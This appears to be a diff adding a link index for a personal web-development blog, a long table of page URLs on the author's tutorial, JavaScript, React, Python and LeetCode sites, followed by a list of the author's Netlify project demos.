+| <https://bgoonz-blog.netlify.app/docs/tutorials/algolia-search>                                     |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/bash>                                               |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/bash-commands-my>                                   |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/effect-hook>                                        |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/enviorment-setup>                                   |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension>                                 |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/how-2-ubuntu>                                       |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/how-to-use-google-sheets-as-cms>                    |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/psql-setup>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/react-class-2-func>                                 |
+| <https://bgoonz-blog.netlify.app/images/cool%20annimation.gif>"                                     |
+| <https://bgoonz-blog.netlify.app/images/cool%20annimation.gif>"<https://bgoonz-blog.netlify>        |
+| <https://bgoonz-blog.netlify.app/interview-questions-js>                                            |
+| <https://bgoonz-blog.netlify.app/privacy-policy>                                                    |
+| <https://bgoonz-blog.netlify.app/readme>                                                            |
+| <https://bgoonz-blog.netlify.app/readme/?!%5d%3e/link>                                              |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b%5cda-fa-f%5d(?:_%5b%5cda-fa-f%5d)/link>               |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b%5e%7b%7d;%22%27%5d%7c%27%20+%20t.source%20+/link>     |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b0-7%5d(?:_%5b0-7%5d)/link>                             |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b01%5d(?:_%5b01%5d)/link>                               |
+| <https://bgoonz-blog.netlify.app/readme/?:%5ba-z_%5d%7c%5cdx/link>                                  |
+| <https://bgoonz-blog.netlify.app/readme/?:(?!%5cs)%5b$%5cw%5cxa0-%5cuffff%5d/link>                  |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/lambda-demo1.gif>"                              |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/lambda-demo1.gif>"<https://bgoonz-blog.netlify> |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/neural.png>"                                    |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/neural.png>"<https://bgoonz-blog.netlify>       |
+| <https://bgoonz.blogspot.com/2021/01/easy-count-length-of-cycle-election.html/link>                 |
+| <https://bgoonz.blogspot.com/2021/01/easy-count-length-of-cycle-election.html/title>                |
+| <https://bgoonz.blogspot.com/2021/07/data-persistence-sql-express.html/link>                        |
+| <https://bgoonz.blogspot.com/2021/07/data-persistence-sql-express.html/title>                       |
+| <https://bgoonz.blogspot.com/2021/07/fetch-json-data-in-react-app.html/link>                        |
+| <https://bgoonz.blogspot.com/2021/07/fetch-json-data-in-react-app.html/title>                       |
+| <https://bgoonz.blogspot.com/2021/07/react-tricks.html/link>                                        |
+| <https://bgoonz.blogspot.com/2021/07/react-tricks.html/title>                                       |
+| <https://bgoonz.github.io/bgoonz_blog_2.0/>"                                                        |
+| <https://bgoonz.github.io/bgoonz_blog_2.0/>"github                                                  |
+| <https://bgoonz.github.io/projects/>"                                                               |
+| <https://bgoonz.github.io/projects/>"<https://bgoonz.github.io/pr>                                  |
+| <https://bgoonz.github.io/useful-snippets/>"                                                        |
+| <https://bgoonz.github.io/useful-snippets/>"<https://bgoonz.github.io/us>                           |
+| <https://bgoonz.github.io/useful-snippets/>"snippets                                                |
+| <https://bgoonz.github.io/vanilla-mini-projects/>"                                                  |
+| <https://bgoonz.github.io/vanilla-mini-projects/>"<https://bgoonz.github.io/va>                     |
+| <https://bgoonz.github.io/vanilla-utils/>"                                                          |
+| <https://bgoonz.github.io/vanilla-utils/>"<https://bgoonz.github.io/va>                             |
+| <https://bgoonz.hashnode.dev/data-structures>"                                                      |
+| <https://bgoonz.hashnode.dev/data-structures>"<https://bgoonz.hashnode.dev>                         |
+| <https://bgoonzblog20-redo.netlify.app/>"                                                           |
+| <https://bgoonzblog20-redo.netlify.app/>"<https://bgoonzblog20-redo.n>                              |
+| <https://bgoonzblog20master.gatsbyjs.io>                                                            |
+| <https://bgoonzblog20master.gtsb.io/blog/300-react-questions>                                       |
+| <https://bgoonzblog20master.gtsb.io/blog/adding-css-to-your-html>                                   |
+| <https://bgoonzblog20master.gtsb.io/blog/awesome-graphql>                                           |
+| <https://bgoonzblog20master.gtsb.io/blog/data-structures-algorithms-resources>                      |
+| <https://bgoonzblog20master.gtsb.io/blog/flow-control-in-python>                                    |
+| <https://bgoonzblog20master.gtsb.io/blog/functions-in-python>                                       |
+| <https://bgoonzblog20master.gtsb.io/blog/platform-docs>                                             |
+| <https://bgoonzblog20master.gtsb.io/blog/web-dev-trends>                                            |
+| <https://bgoonzblog20master.gtsb.io/blog/web-scraping>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs>                                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/about>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/about/eng-portfolio>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/about/job-search>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/about/readme>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/about/resume>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/about/youtube>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/archive/link>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/basic-web-dev>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/buffers>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/common-modules>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/dev-dep>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/event-loop>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/how-search-engines-work>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/how-the-web-works>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/http>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/install>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/intro>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/jamstack>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/nextjs>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-cli-args>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-env-variables>                               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-js-language>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-package-manager>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-repl>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/nodejs>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/npm>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/os-module>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/reading-files>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/semantic>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/semantic-html>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/the-uniform-resource-locator-(url>)               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/understanding-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/url>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/v8>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/web-standards-checklist>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/webdev-tools>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/writing-files>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/audio>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/audio>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/audio-feature-extraction>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dfft>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/discrete-fft>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dtw-python-explained>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dynamic-time-warping>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/web-audio-api>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/career>                                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/career/dev-interview>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/career/interview-dos-n-donts>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/career/job-boards>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/career/job-search>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/career/js-interview>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/career/list-of-projects>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/career/my-websites>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/career/web-interview>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/community>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/community/an-open-letter-2-future-developers>              |
+| <https://bgoonzblog20master.gtsb.io/docs/community/bookmarks>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/community/video-chat>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/content>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/content/algo>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/content/archive>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/content/data-structures-in-python>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/content/gatsby-queries-mutations>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/content/gists>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/content/history-api>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/content/main-projects>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/content/trouble-shooting>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/css>                                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/data-structures>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/data-structures/ds-algo-interview>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/docs>                                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/appendix>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/bash>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/css>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/data-structures-docs>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/es-6-features>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/git-reference>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/git-repos>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/glossary>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/html-spec>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/html-tags>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/no-whiteboarding>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/node-docs-complete>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/node-docs-full>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/sitemap>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/big-o>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/data-structures-docs>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-algo-interview>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-by-example>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-overview>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/free-code-camp>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/graph>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/heaps>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/tree>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/faq>                                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/faq/contact>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/faq/plug-ins>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/git/git-cheatsheet>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/git/github-tutorial>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/glossary/mathfloor>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/interact>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/callstack-visual>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/clock>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/jupyter-notebooks>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/other-sites>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/video-chat>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/interview>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/dos-and-donts>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/job-search-nav>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/review-concepts>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/web-interview>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/arrow-functions>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/asyncjs>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/await-keyword>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/bigo>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/clean-code>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/constructor-functions>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/cs-basics-in-js>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/for-loops>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/js-objects>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/review>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/abs>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/acos>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/acosh>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/addition>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/all>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/allsettled>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/any>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/array-methods>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/arrow_functions>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/async_function>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/bad_radix>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/bind>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/classes>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/concat>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/conditional_operator>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/const>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/create>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/date>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/filter>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/import>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/insert-into-array>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/map>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/object>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/reduce>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/regexp>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/sort>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/sorting-strings>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/string>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/var>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/004._median_of_two_sorted_arrays>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/009._palindrome_number>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/010._regular_expression_matching>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/013._roman_to_integer>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/019._remove_nth_node_from_end_of_list>            |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/029._divide_two_integers>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/lettecombinationophonnumber>                      |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/nexpermutation>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/palindromnumber>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/removduplicatefrosortearray>                      |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/romatinteger>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/valiparentheses>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/zigzaconversion>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/get-started-with-gatsby>              |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/jamstack-templates>                   |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/serverlessjs>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms/jamstack-templates>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/html-spec>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/http>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/install>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/modules>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-cli-args>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-js-language>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-package-manager>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-repl>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-run-cli>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/nodevsbrowser>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/understanding-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/v8>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/archive/embeded-websites>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/embeded-websites>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/link>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/list-of-projects>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/mini-projects2>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/recent>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/python>                                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/python/at-length>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/cheat-sheet>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/python/comprehensive-guide>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/python/examples>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/python/flow-control>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/python/functions>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/google-sheets-api>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/python/intro-for-js-devs>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/python/python-ds>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/python-quiz>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/python/snippets>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/create-react-app>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/fetch>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/git-bash>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/git-tricks>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/google-firebase>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/installation>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/markdown-dropdowns>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/psql-setup>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/toprepos>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-ref/vscode-themes>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/emmet>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/git-bash>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/git-tricks>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/google-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/heroku-error-codes>                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/installation>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/new-repo-instructions>                     |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/pull-request-rubric>                       |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/quick-links>                               |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/toprepos>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/understanding-path>                        |
+| <https://bgoonzblog20master.gtsb.io/docs/quick-reference/vscode-themes>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/react>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/react/accessibility>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/react/cheatsheet>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/react/complete-react>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/createreactapp>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/demo>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/react/dont-use-index-as-keys>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/react/jsx>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-docs>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-in-depth>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react-patterns-by-usecase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/react/react2>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/react/render-elements>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/reference>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-lists>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-nodejs>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/awesome-static>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/bash-commands>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/bookmarks>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/embed-the-web>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/github-resources>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/github-search>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/google-cloud>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/how-2-reinstall-npm>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/how-to-kill-a-process>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/installing-node>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/intro-to-nodejs>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/markdown-styleguide>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/notes-template>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/psql>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/resources>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/vscode>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/reference/web-api%27s>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/>"                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/>"<https://bgoonzblog20master>.                    |
+| <https://bgoonzblog20master.gtsb.io/docs/sitemap/link>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/tips>                                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/7-tips-to-become-a-better-web-developer>              |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/array-methods>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/insert-into-array>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/regex-tips>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/sorting-strings>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/storybook>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/tips/web-accessibility>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/tools>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/all-stripped>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/archive/link>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/dev-utilities>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/embeds-archive>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/tools/markdown-html>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/algolia-search>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/bash>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/bash-commands-my>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/enviorment-setup>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/get-file-extension>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/how-to-use-google-sheets-as-cms>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/tutorials/psql-setup>                                      |
+
+
+
+
+
+
+
+
+
+
+---
+
+
+[Data Structures Website](https://trusting-dijkstra-4d3b17.netlify.app/)
+
+-   [Web-Dev-Quizzes](https://web-dev-interview-prep-quiz-website.netlify.app/intro-js2.html)
+
+-   [Recursion](https://zen-lamport-5aab2c.netlify.app/)
+
+-   [React Documentation Site](https://csb-ov0d1-bgoonz.vercel.app/)
+
+-   [Blogs-from-webdevhub](https://amazing-hodgkin-33aea6.netlify.app/)
+
+-   [Realty Website Demo](https://angry-fermat-dcf5dd.netlify.app/)
+
+-   [Best-Prac & Tools](https://boring-heisenberg-f425d8.netlify.app/)
+
+-   [site-analysis](https://site-analysis.netlify.app/)
+
+-   [a/AOpen Notes](https://clever-bartik-b5ba19.netlify.app/)
+
+-   [Iframe Embed Playground](https://code-playground.netlify.app/)
+
+-   [Triggered Effects Guitar Platform](https://condescending-lewin-c96727.netlify.app/)
+
+-   [Live Form](https://determined-dijkstra-666766.netlify.app/)
+
+-   [Interview Questions](https://determined-dijkstra-ee7390.netlify.app/)
+
+-   [Resources Compilation](https://eager-northcutt-456076.netlify.app/)
+
+-   [React Blog Depreciated](https://ecstatic-jang-593fd1.netlify.app/)
+
+-   [MihirBeg.com](https://eloquent-sammet-ba1810.netlify.app/)
+
+-   [Embeded Html Projects](https://embedable-content.netlify.app/)
+
+-   [Cheat Sheets](https://festive-borg-e4d856.netlify.app/)
+
+-   [Early Version Of WebDevHub](https://focused-pasteur-0faac8.netlify.app/)
+
+-   [My Gists](https://gists42.netlify.app/)
+
+-   [DS-Algo-Links](https://gracious-raman-474030.netlify.app/)
+
+-   [Video Chat App](https://happy-mestorf-0f8e75.netlify.app/)
+
+-   [Ciriculumn](https://hungry-shaw-30d504.netlify.app/)
+
+-   [Cheat Sheets](https://inspiring-jennings-d14689.netlify.app/)
+
+-   [Links](https://links4242.netlify.app/)
+
+-   [Medium Articles](https://modest-booth-4e17df.netlify.app/)
+
+-   [NextJS Blog Template](https://modest-torvalds-34afbc.netlify.app/)
+
+-   [React Demo](https://modest-varahamihira-772b59.netlify.app/)
+
+-   [Ecomerce Norwex V1](https://nervous-swartz-0ab2cc.netlify.app/)
+
+-   [Gifs](https://objective-borg-a327cd.netlify.app/)
+
+-   [Excel2HTML](https://pedantic-wing-adbf82.netlify.app/)
+
+-   [Data Structures Site](https://pensive-meitner-1ea8c4.netlify.app/)
+
+-   [Portfolio](https://portfolio42.netlify.app/)
+
+-   [Page Templates](https://priceless-shaw-86ccb2.netlify.app/)
+
